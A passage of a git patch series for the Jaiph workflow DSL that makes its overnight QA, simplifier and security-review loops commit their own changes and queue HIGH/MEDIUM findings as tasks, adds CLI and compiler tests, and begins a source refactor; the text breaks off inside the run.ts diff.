From e57af3145e6ecd4a45f46bacf1ebf38a68c7a629 Mon Sep 17 00:00:00 2001 From: Jakub Dzikowski Date: Thu, 30 Jul 2026 21:04:31 +0200 Subject: [PATCH 01/86] Feat: make overnight qa/simplifier/security_review loop-safe Commit when work lands, and have security_review enqueue HIGH/MEDIUM findings as #dev-ready QUEUE tasks so unattended loops can drain them. Co-authored-by: Cursor --- .jaiph/libs/jaiphlang/git.jh | 14 ++++ .jaiph/libs/jaiphlang/queue.jh | 7 ++ .jaiph/libs/jaiphlang/queue.py | 43 +++++++++++- .jaiph/main.jh | 7 +- .jaiph/qa.jh | 14 +++- .jaiph/security_review.jh | 115 ++++++++++++++++++++++++++++----- .jaiph/simplifier.jh | 12 ++++ 7 files changed, 192 insertions(+), 20 deletions(-) mode change 100644 => 100755 .jaiph/libs/jaiphlang/queue.jh mode change 100644 => 100755 .jaiph/main.jh mode change 100644 => 100755 .jaiph/simplifier.jh diff --git a/.jaiph/libs/jaiphlang/git.jh b/.jaiph/libs/jaiphlang/git.jh index e71e65e7..e767d9a8 100755 --- a/.jaiph/libs/jaiphlang/git.jh +++ b/.jaiph/libs/jaiphlang/git.jh @@ -89,6 +89,20 @@ workflow commit(task) { return patch_file_name } +# Like commit(), but no-ops when the worktree is clean (overnight loops). +# Deletes the generated .patch from the worktree so the next loop starts clean. +workflow commit_if_changes(task) { + ensure has_changes() catch (err) { + log "No changes to commit." + return "" + } + const patch_file = run commit(task) + run git_rm_patch(patch_file) + return patch_file +} + +script git_rm_patch = `rm -f -- "$1"` + workflow push(branch) { ensure in_git_repo() run git_push_head(branch) diff --git a/.jaiph/libs/jaiphlang/queue.jh b/.jaiph/libs/jaiphlang/queue.jh old mode 100644 new mode 100755 index f6a83283..33c5b0ac --- a/.jaiph/libs/jaiphlang/queue.jh +++ b/.jaiph/libs/jaiphlang/queue.jh @@ -9,6 +9,7 @@ # jaiph .jaiph/libs/jaiphlang/queue.jh headers # jaiph .jaiph/libs/jaiphlang/queue.jh get dev-ready # jaiph .jaiph/libs/jaiphlang/queue.jh json +# jaiph .jaiph/libs/jaiphlang/queue.jh add_from_file path/to/tasks.md # import script "./queue.py" as queue @@ -18,6 +19,12 @@ workflow default(cmd, arg1, arg2) { log result } +# Append ## tasks from a markdown file into QUEUE.md. Titles already present +# are skipped. Missing #dev-ready tags are added automatically. +export workflow add_tasks_from_file(path) { + run queue("add_from_file", path) +} + # Returns the full text block (header + body) of the first task. export workflow get_first_task() { return run queue("get") diff --git a/.jaiph/libs/jaiphlang/queue.py b/.jaiph/libs/jaiphlang/queue.py index f84029ad..17ccb8bf 100755 --- a/.jaiph/libs/jaiphlang/queue.py +++ b/.jaiph/libs/jaiphlang/queue.py @@ -178,13 +178,54 @@ def cmd_has_tag(args): def cmd_json(args): print(json.dumps(parse_queue(queue_path()), indent=2)) +def cmd_add_from_file(args): + """Append tasks from a markdown file. Skips titles that already exist. + + The file is parsed like QUEUE.md (## Title #tags + body). Existing titles + in QUEUE.md are left untouched. Returns how many tasks were added. + """ + if not args: + print("add_from_file: path required", file=sys.stderr) + sys.exit(1) + src = args[0] + if not os.path.isfile(src): + print(f"add_from_file: file not found: {src}", file=sys.stderr) + sys.exit(1) + incoming = parse_queue(src) + if not incoming["tasks"]: + print("Added 0 tasks (file had no ## sections)") + return + path = queue_path() + q = parse_queue(path) + existing = {t["title"] for t in q["tasks"]} + added = 0 + skipped = 0 + for t in incoming["tasks"]: + if t["title"] in existing: + skipped += 1 + continue + # Overnight / engineer loops require #dev-ready on the header. + tags = list(t["tags"]) + if "dev-ready" not in tags: + tags.append("dev-ready") + q["tasks"].append({ + "title": t["title"], + "tags": tags, + "description": t["description"], + }) + existing.add(t["title"]) + added += 1 + if added: + write_queue(path, q) + print(f"Added {added} tasks" + (f" (skipped {skipped} existing)" if skipped else "")) + cmds = { "get": cmd_get, "get_by_header": cmd_get_by_header, "headers": cmd_headers, "complete": cmd_complete, "complete_by_header": cmd_complete_by_header, "mark": cmd_mark, "set_description": cmd_set_description, "has_tag": cmd_has_tag, "check_all_tagged": cmd_check_all_tagged, - "json": cmd_json, + "json": cmd_json, "add_from_file": cmd_add_from_file, } argv = [a for a in sys.argv[1:] if a] diff --git a/.jaiph/main.jh b/.jaiph/main.jh old mode 100644 new mode 100755 index 42f3d38d..7b9850c0 --- a/.jaiph/main.jh +++ b/.jaiph/main.jh @@ -58,13 +58,14 @@ export workflow gh_ci_passes(branch, workflow_name) { run gh_ci_mod.default(branch, workflow_name) } -# OWASP ASI Top 10 security review; writes a report under .jaiph/tmp/ and fails on HIGH. +# OWASP ASI Top 10 security review; report under .jaiph/tmp/, HIGH/MEDIUM → +# #dev-ready QUEUE.md tasks (committed when the queue changes). Overnight-safe. # scope: ""|"codebase"|"full" for whole tree, "diff" for uncommitted, or a git range. export workflow security_review(scope) { run sec_mod.default(scope) } -# Find and apply safe simplifications (no test/e2e edits), then re-run local CI. +# Find and apply safe simplifications (no test/e2e edits), CI, commit if changed. export workflow simplifier() { run simp_mod.default() } @@ -75,7 +76,7 @@ export workflow prepare_release(version) { return run rel_mod.default(version) } -# Find test-coverage gaps and write missing tests until local CI is green. +# Find test-coverage gaps, write missing tests, CI, commit if changed. export workflow qa() { run qa_mod.default() } diff --git a/.jaiph/qa.jh b/.jaiph/qa.jh index 409d1510..80f4079a 100755 --- a/.jaiph/qa.jh +++ b/.jaiph/qa.jh @@ -1,5 +1,11 @@ #!/usr/bin/env jaiph +# +# Find test-coverage gaps, write missing tests, verify CI, commit if changed. +# Safe for overnight loops: starts clean, ends clean (commit or no-op). +# +# jaiph run .jaiph/qa.jh +# import "./ensure_ci_passes.jh" as ci import "jaiphlang/git" as git @@ -229,10 +235,16 @@ workflow write_tests() { script mkdir_tmp_jaiph_qa = `mkdir -p .jaiph/tmp` +const commit_task = """ + QA pass: add missing tests from the gap report under + .jaiph/tmp/qa_gap_report_*.md. Production code unchanged. +""" + workflow default() { - # ensure git.is_clean() + ensure git.is_clean() run mkdir_tmp_jaiph_qa() run analyze_gaps() run write_tests() run ci.ensure_ci_passes() + run git.commit_if_changes(commit_task) } diff --git a/.jaiph/security_review.jh b/.jaiph/security_review.jh index e97f8ee4..9baceb0c 100755 --- a/.jaiph/security_review.jh +++ b/.jaiph/security_review.jh @@ -11,15 +11,18 @@ # Writes a Diátaxis-style markdown report to # .jaiph/tmp/security_review_.md # (name "security_review" is in the filename) and publishes it as a run -# artifact. Fails when any HIGH severity finding is confirmed. +# artifact. HIGH and MEDIUM findings become #dev-ready QUEUE.md tasks +# (committed when the queue changes) so overnight loops can feed engineer. +# Does not fail the run on HIGH — findings are queued instead. # # Review methodology: OWASP Agentic Security Initiative (ASI) Top 10 via # .jaiph/skills/agent-owasp-compliance/SKILL.md -# Report writing follows .jaiph/kills/documentation-writer/SKILL.md. +# Report writing follows .jaiph/skills/documentation-writer/SKILL.md. # import "./lib_common.jh" as common import "jaiphlang/artifacts" as artifacts import "jaiphlang/git" as git +import "jaiphlang/queue" as queue config { agent.backend = "claude" @@ -31,6 +34,8 @@ script new_security_review_report_path = `echo ".jaiph/tmp/security_review_$(dat script write_security_review_pointer = `printf '%s\n' "$1" > .jaiph/tmp/security_review_active.txt` +script security_review_tasks_path = `echo ".jaiph/tmp/security_review_queue_tasks.md"` + const reviewer_role = """ You are a senior security engineer reviewing Jaiph — a workflow DSL, TypeScript CLI/runtime, Docker sandbox, and agent-backend runner that @@ -170,7 +175,7 @@ workflow review_diff_text(mode, scope_label, diff_text, report_file) { return run review_scope(mode, scope_detail, report_file) } -workflow finish_review(verdict, report_file, fingerprint_before) { +workflow finish_report(verdict, report_file, fingerprint_before) { if verdict == "skip" { log "Security review skipped (nothing in scope)." return "" @@ -186,16 +191,67 @@ workflow finish_review(verdict, report_file, fingerprint_before) { fail "Security review did not write a report at ${report_file}." } run artifacts.save(report_file) + log "Security review report ready: ${report_file}" +} - run common.str_equals(verdict, "pass") catch (err) { - fail """ - Security review found HIGH severity issues. - See ${report_file} (also published to the run artifacts directory). - """ - } - log "Security review passed. Report: ${report_file}" +script truncate_file = `: > "$1"` + +workflow queue_findings(report_file) { + const tasks_file = run security_review_tasks_path() + # Default to empty so a no-finding pass is a clean no-op for add_from_file. + run truncate_file(tasks_file) + + prompt """ + + You turn confirmed security findings into standalone QUEUE.md tasks for + the Jaiph engineer overnight loop. + + + + Read the security review report at ${report_file} and the current + QUEUE.md. + + For every HIGH and MEDIUM finding in the report, write one QUEUE task + into ${tasks_file} (overwrite that file). Skip LOW findings. + + File format — one or more task sections, nothing else. + Only task titles use ##. Body subsections use ### (never ##): + + ## Short imperative title #dev-ready + + Context: <1-2 sentences, ASI id, severity, confidence> + + Problem: + + Location: + + Remediation: + + ### Acceptance criteria + - + - + + Rules: + - Every ## header MUST end with #dev-ready. + - Do not put ## inside a task body (QUEUE.md treats every ## as a new task). + - Each task must be standalone (QUEUE.md rule 5) — no "see prior task". + - Prefer small, implementable tasks; split a broad finding if needed. + - Skip a finding if QUEUE.md already has an equivalent title/topic. + - If there are no HIGH/MEDIUM findings to queue, write an empty file + (zero bytes or whitespace only) — do not invent work. + - Do NOT edit QUEUE.md yourself; only write ${tasks_file}. + - Do not modify any other repository file. + + """ + + run queue.add_tasks_from_file(tasks_file) } +const commit_task = """ + Security review: add #dev-ready QUEUE.md tasks for HIGH/MEDIUM findings + from the latest .jaiph/tmp/security_review_*.md report. +""" + workflow dispatch_review(mode, scope, report_file) { if mode == "codebase" { return run review_codebase(report_file) @@ -210,10 +266,6 @@ workflow dispatch_review(mode, scope, report_file) { workflow default(scope) { ensure git.in_git_repo() - run common.mkdir_p_simple(".jaiph/tmp") - const report_file = run new_security_review_report_path() - run write_security_review_pointer(report_file) - const fingerprint_before = run worktree_fingerprint() const mode = match scope { "" | "codebase" | "full" => "codebase" @@ -221,6 +273,39 @@ workflow default(scope) { _ => "range" } + # Overnight / codebase / range runs require a clean tree so the QUEUE.md + # commit only contains queued findings. Diff mode reviews an existing dirty + # tree and updates QUEUE.md without committing. + if mode != "diff" { + ensure git.branch_clean() + } + + run common.mkdir_p_simple(".jaiph/tmp") + const report_file = run new_security_review_report_path() + run write_security_review_pointer(report_file) + const fingerprint_before = run worktree_fingerprint() + const verdict = run dispatch_review(mode, scope, report_file) - run finish_review(verdict, report_file, fingerprint_before) + run finish_report(verdict, report_file, fingerprint_before) + + if verdict == "skip" { + return "" + } + + run queue_findings(report_file) + + if mode == "diff" { + ensure git.has_changes() catch (err) { + log "Security review finished (no QUEUE.md changes). Report: ${report_file}" + return "" + } + log "QUEUE.md updated; commit skipped in diff mode. Report: ${report_file}" + } else { + run git.commit_if_changes(commit_task) + if verdict == "fail" { + log "Security review found HIGH findings — queued as #dev-ready tasks (see QUEUE.md and ${report_file})." + } else { + log "Security review finished. Report: ${report_file}" + } + } } diff --git a/.jaiph/simplifier.jh b/.jaiph/simplifier.jh old mode 100644 new mode 100755 index ac53fc68..80db3a62 --- a/.jaiph/simplifier.jh +++ b/.jaiph/simplifier.jh @@ -1,5 +1,11 @@ #!/usr/bin/env jaiph +# +# Find and apply safe simplifications, verify CI, commit if anything changed. +# Safe for overnight loops: starts clean, ends clean (commit or no-op). +# +# jaiph run .jaiph/simplifier.jh +# import "./ensure_ci_passes.jh" as ci import "jaiphlang/git" as git @@ -142,6 +148,11 @@ workflow apply_simplifications() { script mkdir_tmp_jaiph = `mkdir -p .jaiph/tmp` +const commit_task = """ + Simplifier pass: apply safe code simplifications from + .jaiph/tmp/simplifier_report.md. Preserve behavior; no test/ or e2e/ edits. +""" + workflow default() { ensure git.is_clean() run mkdir_tmp_jaiph() @@ -149,4 +160,5 @@ workflow default() { run apply_simplifications() run ci.ensure_ci_passes() ensure no_test_or_e2e_paths_changed() + run git.commit_if_changes(commit_task) } From 31c79af118b683e9439079e0b2d2bc4baf155775 Mon Sep 17 00:00:00 2001 From: Jakub Dzikowski Date: Thu, 30 Jul 2026 21:50:39 +0200 Subject: [PATCH 02/86] Test: fill QA coverage gaps for CLI, compiler, e2e Add tests identified in the QA gap report without touching production code. Cover run-tree prefix indentation and bounded self-recursive workflow expansion in progress.test.ts, add a new use command test suite, extend the compiler txtar fixtures with parse and validate error cases, and register the docker lifecycle and toolchain e2e scripts in the aggregate runner. Co-Authored-By: Claude Opus 4.8 (1M context) --- e2e/test_all.sh | 2 + src/cli/commands/use.test.ts | 91 ++++++++ src/cli/run/progress.test.ts | 211 ++++++++++++++++++ .../compiler-txtar/parse-errors-snapshot.json | 35 +++ test-fixtures/compiler-txtar/parse-errors.txt | 49 ++++ .../validate-diagnostics-snapshot.json | 36 +++ .../compiler-txtar/validate-errors.txt | 38 ++++ 7 files changed, 462 insertions(+) create mode 100644 src/cli/commands/use.test.ts diff --git a/e2e/test_all.sh b/e2e/test_all.sh index 6e465bb5..9b5c7563 100755 --- a/e2e/test_all.sh +++ b/e2e/test_all.sh @@ -29,6 +29,7 @@ TEST_SCRIPTS=( "e2e/tests/74c_docker_prepull.sh" "e2e/tests/74d_docker_snapshot_isolation.sh" "e2e/tests/74e_docker_git_snapshot_content.sh" + "e2e/tests/74_docker_lifecycle.sh" "e2e/tests/74_live_step_output.sh" "e2e/tests/76_docker_failure_parity.sh" "e2e/tests/77_unsafe_confirm.sh" @@ -48,6 +49,7 @@ TEST_SCRIPTS=( "e2e/tests/92_log_logerr.sh" "e2e/tests/142_logwarn.sh" "e2e/tests/143_step_idle_warn.sh" + "e2e/tests/143_docker_toolchain.sh" "e2e/tests/93_ensure_recover_payload.sh" "e2e/tests/93_inbox_stress.sh" "e2e/tests/94_parallel_shell_steps.sh" diff --git a/src/cli/commands/use.test.ts b/src/cli/commands/use.test.ts new file mode 100644 index 00000000..16b2ba81 --- /dev/null +++ b/src/cli/commands/use.test.ts @@ -0,0 +1,91 @@ +import test from "node:test"; +import assert from "node:assert/strict"; +import { runUse } from "./use"; + +/** + * `jaiph use` shells out to a network installer on the happy path, so these + * tests exercise the arg-guard branches (which return before any spawn) and + * the spawn-status passthrough via a harmless `JAIPH_INSTALL_COMMAND` override + * — no network access. + */ +function captureStreams(): { restore: () => void; stderr: () => string; stdout: () => string } { + let err = ""; + let out = ""; + const origErr = process.stderr.write; + const origOut = process.stdout.write; + process.stderr.write = ((chunk: string | Uint8Array) => { + err += String(chunk); + return true; + }) as typeof process.stderr.write; + process.stdout.write = ((chunk: string | Uint8Array) => { + out += String(chunk); + return true; + }) as typeof process.stdout.write; + return { + restore: () => { + process.stderr.write = origErr; + process.stdout.write = origOut; + }, + stderr: () => err, + stdout: () => out, + }; +} + +test("runUse: missing version returns 1 with guidance", () => { + const cap = captureStreams(); + try { + assert.equal(runUse([]), 1); + assert.match(cap.stderr(), /requires a version/); + } finally { + cap.restore(); + } +}); + +test("runUse: whitespace-only version is rejected as empty", () => { + const cap = captureStreams(); + try { + assert.equal(runUse([" "]), 1); + assert.match(cap.stderr(), /non-empty version/); + } finally { + cap.restore(); + } +}); + +test("runUse: --help prints usage and returns 0", () => { + const cap = captureStreams(); + try { + assert.equal(runUse(["--help"]), 0); + assert.match(cap.stdout(), /Usage: jaiph use/); + } finally { + cap.restore(); + } +}); + +test("runUse: propagates the install command exit status (nightly)", () => { + const prev = process.env.JAIPH_INSTALL_COMMAND; + process.env.JAIPH_INSTALL_COMMAND = "exit 0"; + const cap = captureStreams(); + try { + assert.equal(runUse(["nightly"]), 0); + assert.match(cap.stdout(), /Reinstalling Jaiph from ref 'nightly'/); + } finally { + cap.restore(); + if (prev === undefined) delete process.env.JAIPH_INSTALL_COMMAND; + else process.env.JAIPH_INSTALL_COMMAND = prev; + } +}); + +test("runUse: non-zero install status is returned to the caller", () => { + const prev = process.env.JAIPH_INSTALL_COMMAND; + process.env.JAIPH_INSTALL_COMMAND = "exit 7"; + const cap = captureStreams(); + try { + assert.equal(runUse(["1.2.3"]), 7); + // a bare X.Y.Z version is normalized to a v-prefixed ref + assert.match(cap.stdout(), /Reinstalling Jaiph from ref 'v1\.2\.3'/); + } finally { + cap.restore(); + if (prev === undefined) delete process.env.JAIPH_INSTALL_COMMAND; + else process.env.JAIPH_INSTALL_COMMAND = prev; + } +}); diff --git a/src/cli/run/progress.test.ts b/src/cli/run/progress.test.ts index 1cd08a92..a0908683 100644 --- a/src/cli/run/progress.test.ts +++ b/src/cli/run/progress.test.ts @@ -234,6 +234,217 @@ test("buildRunTreeRows: includes root and children", () => { assert.equal(rows[0].rawLabel, "workflow default"); }); +test("buildRunTreeRows: prefix indents 4 spaces per nesting level", () => { + const mod = modFor([ + "workflow default() {", + " run a()", + "}", + "workflow a() {", + " run b()", + "}", + "workflow b() {", + " log \"deep\"", + "}", + ].join("\n")); + const rows = buildRunTreeRows(mod); + // root's direct children sit at prefix 0; each deeper level adds 4 spaces. + const byLabel = (label: string) => rows.find((r) => r.rawLabel === label); + assert.equal(rows[0].prefix, ""); // root + assert.equal(byLabel("workflow a")?.prefix, ""); // default's child + assert.equal(byLabel("workflow b")?.prefix, " "); // a's child (depth 1) + assert.equal(byLabel("ℹ deep")?.prefix, " "); // b's child (depth 2) +}); + +test("buildRunTreeRows: self-recursive workflow expands exactly one level then stops", () => { + const mod = modFor([ + "workflow default() {", + " run rec()", + "}", + "workflow rec() {", + " log \"x\"", + " run rec()", + "}", + ].join("\n")); + const rows = buildRunTreeRows(mod); + // rec renders once under default, its self-call expands one more level, then + // the innermost self-call is gated off — bounded, not infinite. + const recRows = rows.filter((r) => r.rawLabel === "workflow rec"); + assert.equal(recRows.length, 2); + assert.equal(recRows[0].prefix, ""); // rec called from default + assert.equal(recRows[1].prefix, " "); // expanded self-call one level deeper + // exactly two "ℹ x" bodies: one per rendered rec frame + assert.equal(rows.filter((r) => r.rawLabel === "ℹ x").length, 2); +}); + +test("buildRunTreeRows: imported workflow renders with alias label and stepFunc", () => { + const mainMod = parsejaiph( + [ + 'import "lib.jh" as lib', + "workflow default() {", + " run lib.helper()", + "}", + ].join("\n"), + "/tmp/proj/main.jh", + ); + const libMod = parsejaiph( + ["export workflow helper() {", ' log "from lib"', "}"].join("\n"), + "/tmp/proj/lib.jh", + ); + const rows = buildRunTreeRows( + mainMod, + "workflow default", + new Map([["lib", libMod]]), + "/tmp/proj", + ); + const helper = rows.find((r) => r.rawLabel === "workflow lib.helper"); + assert.ok(helper, "imported workflow row present"); + assert.equal(helper?.stepFunc, "lib::helper"); + assert.equal(helper?.prefix, ""); // default's direct child + // the imported workflow's body is rendered one level deeper + const body = rows.find((r) => r.rawLabel === "ℹ from lib"); + assert.equal(body?.prefix, " "); +}); + +test("buildRunTreeRows: mutual-reference cycle is bounded by the visited guard", () => { + const mod = modFor([ + "workflow default() {", + " run a()", + "}", + "workflow a() {", + " run b()", + "}", + "workflow b() {", + " run a()", + "}", + ].join("\n")); + const rows = buildRunTreeRows(mod); + // default -> a -> b -> a(leaf, not re-expanded). Without the guard this would + // recurse forever; the guard leaves exactly one un-expanded trailing "a". + assert.deepEqual( + rows.map((r) => r.rawLabel), + ["workflow default", "workflow a", "workflow b", "workflow a"], + ); + assert.equal(rows[rows.length - 1].prefix, " "); +}); + +test("collectWorkflowChildren: recover steps flatten as sibling rows", () => { + const mod = modFor([ + "workflow default() {", + " run risky() recover(e) {", + " run fallback()", + " }", + "}", + "workflow risky() {", + ' log "r"', + "}", + "workflow fallback() {", + ' log "f"', + "}", + ].join("\n")); + const items = collectWorkflowChildren(mod, "default"); + assert.equal(items[0].label, "workflow risky"); + assert.equal(items[0].nested, "risky"); + assert.equal(items[1].label, "workflow fallback"); + assert.equal(items[1].nested, "fallback"); +}); + +test("collectWorkflowChildren: catch steps flatten as sibling rows", () => { + const mod = modFor([ + "workflow default() {", + " run risky() catch (e) {", + ' log "caught"', + " }", + "}", + "workflow risky() {", + ' log "r"', + "}", + ].join("\n")); + const items = collectWorkflowChildren(mod, "default"); + assert.equal(items[0].label, "workflow risky"); + assert.equal(items[1].label, "ℹ caught"); +}); + +test("collectWorkflowChildren: long prompt preview is truncated with ellipsis", () => { + const mod = modFor([ + "workflow default() {", + ' prompt "This is a very long prompt that should be truncated"', + "}", + ].join("\n")); + const items = collectWorkflowChildren(mod, "default"); + // 24-char preview + ellipsis + assert.equal(items[0].label, 'prompt "This is a very long prom..."'); +}); + +test("collectWorkflowChildren: prompt preview escapes embedded double-quotes", () => { + const mod = modFor([ + "workflow default() {", + ' prompt "Say \\"hi\\" now"', + "}", + ].join("\n")); + const items = collectWorkflowChildren(mod, "default"); + assert.equal(items[0].label, 'prompt "Say \\"hi\\" now"'); +}); + +test("collectWorkflowChildren: return run and return match label variants", () => { + const mod = modFor([ + "workflow other() {", + ' log "o"', + "}", + "workflow default(name) {", + " return run other()", + "}", + ].join("\n")); + const items = collectWorkflowChildren(mod, "default"); + assert.ok(items.some((i) => i.label === "return run other(...)")); + + const matchMod = modFor([ + "workflow default(name) {", + " return match name {", + ' "x" => "yes"', + ' _ => "no"', + " }", + "}", + ].join("\n")); + const matchItems = collectWorkflowChildren(matchMod, "default"); + assert.ok(matchItems.some((i) => i.label === "return match name")); +}); + +// --- style helpers (ANSI paths) --- + +test("style helpers: emit ANSI escape codes when stdout is a TTY", () => { + const prevTty = process.stdout.isTTY; + const prevNoColor = process.env.NO_COLOR; + Object.defineProperty(process.stdout, "isTTY", { value: true, configurable: true }); + delete process.env.NO_COLOR; + try { + assert.equal(styleKeywordLabel("workflow default"), "workflow default"); + assert.equal(styleDim("x"), "x"); + assert.equal(styleYellow("x"), "x"); + assert.equal(styleBold("x"), "x"); + } finally { + Object.defineProperty(process.stdout, "isTTY", { value: prevTty, configurable: true }); + if (prevNoColor === undefined) delete process.env.NO_COLOR; + else process.env.NO_COLOR = prevNoColor; + } +}); + +test("style helpers: NO_COLOR disables ANSI even on a TTY", () => { + const prevTty = process.stdout.isTTY; + const prevNoColor = process.env.NO_COLOR; + Object.defineProperty(process.stdout, "isTTY", { value: true, configurable: true }); + process.env.NO_COLOR = "1"; + try { + assert.equal(styleKeywordLabel("workflow default"), "workflow default"); + assert.equal(styleDim("x"), "x"); + assert.equal(styleYellow("x"), "x"); + assert.equal(styleBold("x"), "x"); + } finally { + Object.defineProperty(process.stdout, "isTTY", { value: prevTty, configurable: true }); + if (prevNoColor === undefined) delete process.env.NO_COLOR; + else process.env.NO_COLOR = prevNoColor; + } +}); + // --- style helpers (no-color paths) --- test("styleKeywordLabel: returns plain text when no TTY", () => { diff --git a/test-fixtures/compiler-txtar/parse-errors-snapshot.json b/test-fixtures/compiler-txtar/parse-errors-snapshot.json index 064474d8..63f4402c 100644 --- a/test-fixtures/compiler-txtar/parse-errors-snapshot.json +++ b/test-fixtures/compiler-txtar/parse-errors-snapshot.json @@ -2021,5 +2021,40 @@ "col": 1, "code": "E_PARSE", "message": "unterminated multiline call — missing closing \")\"" + }, + "multiline call content before triple-quoted argument": { + "file": "input.jh", + "line": 4, + "col": 1, + "code": "E_PARSE", + "message": "unexpected content before triple-quoted call argument" + }, + "malformed for loop header missing in keyword": { + "file": "input.jh", + "line": 2, + "col": 3, + "code": "E_PARSE", + "message": "invalid for syntax; expected: for in { ... }" + }, + "match alternation with trailing pipe before arrow": { + "file": "input.jh", + "line": 4, + "col": 1, + "code": "E_PARSE", + "message": "trailing | in match alternation; expected a pattern after |" + }, + "config array element must be a quoted string": { + "file": "input.jh", + "line": 3, + "col": 5, + "code": "E_PARSE", + "message": "array elements must be quoted strings: unquoted_value" + }, + "config multi-line array not closed": { + "file": "input.jh", + "line": 2, + "col": 1, + "code": "E_PARSE", + "message": "array not closed with ']'" } } diff --git a/test-fixtures/compiler-txtar/parse-errors.txt b/test-fixtures/compiler-txtar/parse-errors.txt index 11319519..0abc4072 100644 --- a/test-fixtures/compiler-txtar/parse-errors.txt +++ b/test-fixtures/compiler-txtar/parse-errors.txt @@ -2601,3 +2601,52 @@ workflow default() { workflow default() { return ensure missing_close( } + +=== multiline call content before triple-quoted argument +# @expect error E_PARSE "unexpected content before triple-quoted call argument" @4:1 +--- input.jh +workflow default() { + const x = run foo( +junk +""" +body +""") +} + +=== malformed for loop header missing in keyword +# @expect error E_PARSE "invalid for syntax" @2:3 +--- input.jh +workflow default() { + for x { + } +} + +=== match alternation with trailing pipe before arrow +# @expect error E_PARSE "trailing | in match alternation" @4:1 +--- input.jh +workflow default() { + const x = "hello" + return match x { + "hello" | => "hi" + _ => "no" + } +} + +=== config array element must be a quoted string +# @expect error E_PARSE "array elements must be quoted strings" @3:5 +--- input.jh +config { + trusted_envs = [ + unquoted_value + ] +} +workflow default() { + log "ok" +} + +=== config multi-line array not closed +# @expect error E_PARSE "array not closed with ']'" @2:1 +--- input.jh +config { + trusted_envs = [ + "PATH" diff --git a/test-fixtures/compiler-txtar/validate-diagnostics-snapshot.json b/test-fixtures/compiler-txtar/validate-diagnostics-snapshot.json index 39d7231c..9578aedb 100644 --- a/test-fixtures/compiler-txtar/validate-diagnostics-snapshot.json +++ b/test-fixtures/compiler-txtar/validate-diagnostics-snapshot.json @@ -899,6 +899,42 @@ "message": "cannot mix \"mock prompt { … }\" with queued \"mock prompt …\" in one test block; choose one style" } ], + "validate-errors.txt > const inside workflow shadows module script name": [ + { + "file": "input.jh", + "line": 3, + "col": 3, + "code": "E_VALIDATE", + "message": "cannot rebind immutable name \"greet\"; already bound as script in this module" + } + ], + "validate-errors.txt > for-loop iterator name collides with const": [ + { + "file": "input.jh", + "line": 3, + "col": 3, + "code": "E_VALIDATE", + "message": "for loop iterator \"x\" conflicts with an existing binding" + } + ], + "validate-errors.txt > run unknown name inside rule": [ + { + "file": "input.jh", + "line": 2, + "col": 3, + "code": "E_VALIDATE", + "message": "unknown local script reference \"nope\" (run in rules must target a script)" + } + ], + "validate-errors.txt > channel route targeting a script is rejected": [ + { + "file": "input.jh", + "line": 1, + "col": 21, + "code": "E_VALIDATE", + "message": "script \"myscript\" cannot be called with run" + } + ], "validate-errors-multi-module.txt > duplicate import alias": [ { "file": "main.jh", diff --git a/test-fixtures/compiler-txtar/validate-errors.txt b/test-fixtures/compiler-txtar/validate-errors.txt index 46816956..ed6159b6 100644 --- a/test-fixtures/compiler-txtar/validate-errors.txt +++ b/test-fixtures/compiler-txtar/validate-errors.txt @@ -1053,3 +1053,41 @@ workflow ask() { return r } + +=== const inside workflow shadows module script name +# @expect error E_VALIDATE "already bound as script in this module" @3:3 +--- input.jh +script greet = `echo hi` +workflow default() { + const greet = "x" + log "done" +} + +=== for-loop iterator name collides with const +# @expect error E_VALIDATE "conflicts with an existing binding" @3:3 +--- input.jh +workflow default(items) { + const x = "a" + for x in items { + log "${x}" + } +} + +=== run unknown name inside rule +# @expect error E_VALIDATE "unknown local script reference" @2:3 +--- input.jh +rule check() { + run nope() +} +workflow default() { + ensure check() +} + +=== channel route targeting a script is rejected +# @expect error E_VALIDATE "cannot be called with run" @1:21 +--- input.jh +channel findings -> myscript +script myscript = `true` +workflow default() { + log "ok" +} From 541203f504a3e8a7cf26917df710b40474229fe7 Mon Sep 17 00:00:00 2001 From: Jakub Dzikowski Date: Thu, 30 Jul 2026 22:46:25 +0200 Subject: [PATCH 03/86] Refactor: apply safe simplifier-pass cleanups across src Extract cohesive modules and dedup boilerplate flagged by the simplifier report while preserving behavior. Split the ServeHandler declarations and pure HTTP helpers out of handler.ts into new serve/types.ts and serve/http-util.ts. Collapse repeated meta-field parsing and error handling in run.ts, dedup config/triple-quoted/prompt emission in emit.ts, factor inline-script and triple-quoted literal builders in workflow-brace.ts, share image/copy/mount logic in docker.ts, and pull apart config/backend/watchdog concerns in kernel/prompt.ts. No test or e2e changes. Co-Authored-By: Claude Opus 4.8 (1M context) --- src/cli/commands/run.ts | 94 ++++++++-------- src/cli/serve/handler.ts | 205 +---------------------------------- src/cli/serve/http-util.ts | 28 +++++ src/cli/serve/types.ts | 176 ++++++++++++++++++++++++++++++ src/format/emit.ts | 55 +++++----- src/parse/workflow-brace.ts | 77 ++++++------- src/runtime/docker.ts | 62 +++++------ src/runtime/kernel/prompt.ts | 38 ++++--- 8 files changed, 373 insertions(+), 362 deletions(-) create mode 100644 src/cli/serve/http-util.ts create mode 100644 src/cli/serve/types.ts diff --git a/src/cli/commands/run.ts b/src/cli/commands/run.ts index b015bbd1..45bbf6a4 100644 --- a/src/cli/commands/run.ts +++ b/src/cli/commands/run.ts @@ -96,8 +96,7 @@ export async function runWorkflow(rest: string[]): Promise { try { parsed = parseArgs(rest, "run"); } catch (err) { - process.stderr.write(`${err instanceof Error ? err.message : String(err)}\n`); - return 1; + return failWith(err); } const { target, raw, workspace, inplace, unsafe, yes, env, positional } = parsed; const input = positional[0]; @@ -110,8 +109,7 @@ export async function runWorkflow(rest: string[]): Promise { try { extraEnv = resolveEnvPairs(env, process.env); } catch (err) { - process.stderr.write(`${err instanceof Error ? err.message : String(err)}\n`); - return 1; + return failWith(err); } const inputAbs = resolve(input); const workspaceRoot = workspace ? resolve(workspace) : detectWorkspaceRoot(dirname(inputAbs)); @@ -157,8 +155,7 @@ export async function runWorkflow(rest: string[]): Promise { try { applySandboxFlags(runtimeEnv, sandboxFlags); } catch (err) { - process.stderr.write(`${err instanceof Error ? err.message : String(err)}\n`); - return 1; + return failWith(err); } const dockerConfigForBanner = resolveDockerConfig(resolvedModuleMetadata?.runtime, runtimeEnv); // Host modes: `--env` defines the workflow process's env directly, @@ -174,27 +171,11 @@ export async function runWorkflow(rest: string[]): Promise { runtimeEnv, dockerEnabled: dockerConfigForBanner.enabled, }); - for (const w of credPreflight.warnings) { - process.stderr.write(`${w}\n`); - } - if (credPreflight.errors.length > 0) { - for (const e of credPreflight.errors) { - process.stderr.write(`${e}\n`); - } - return 1; - } + if 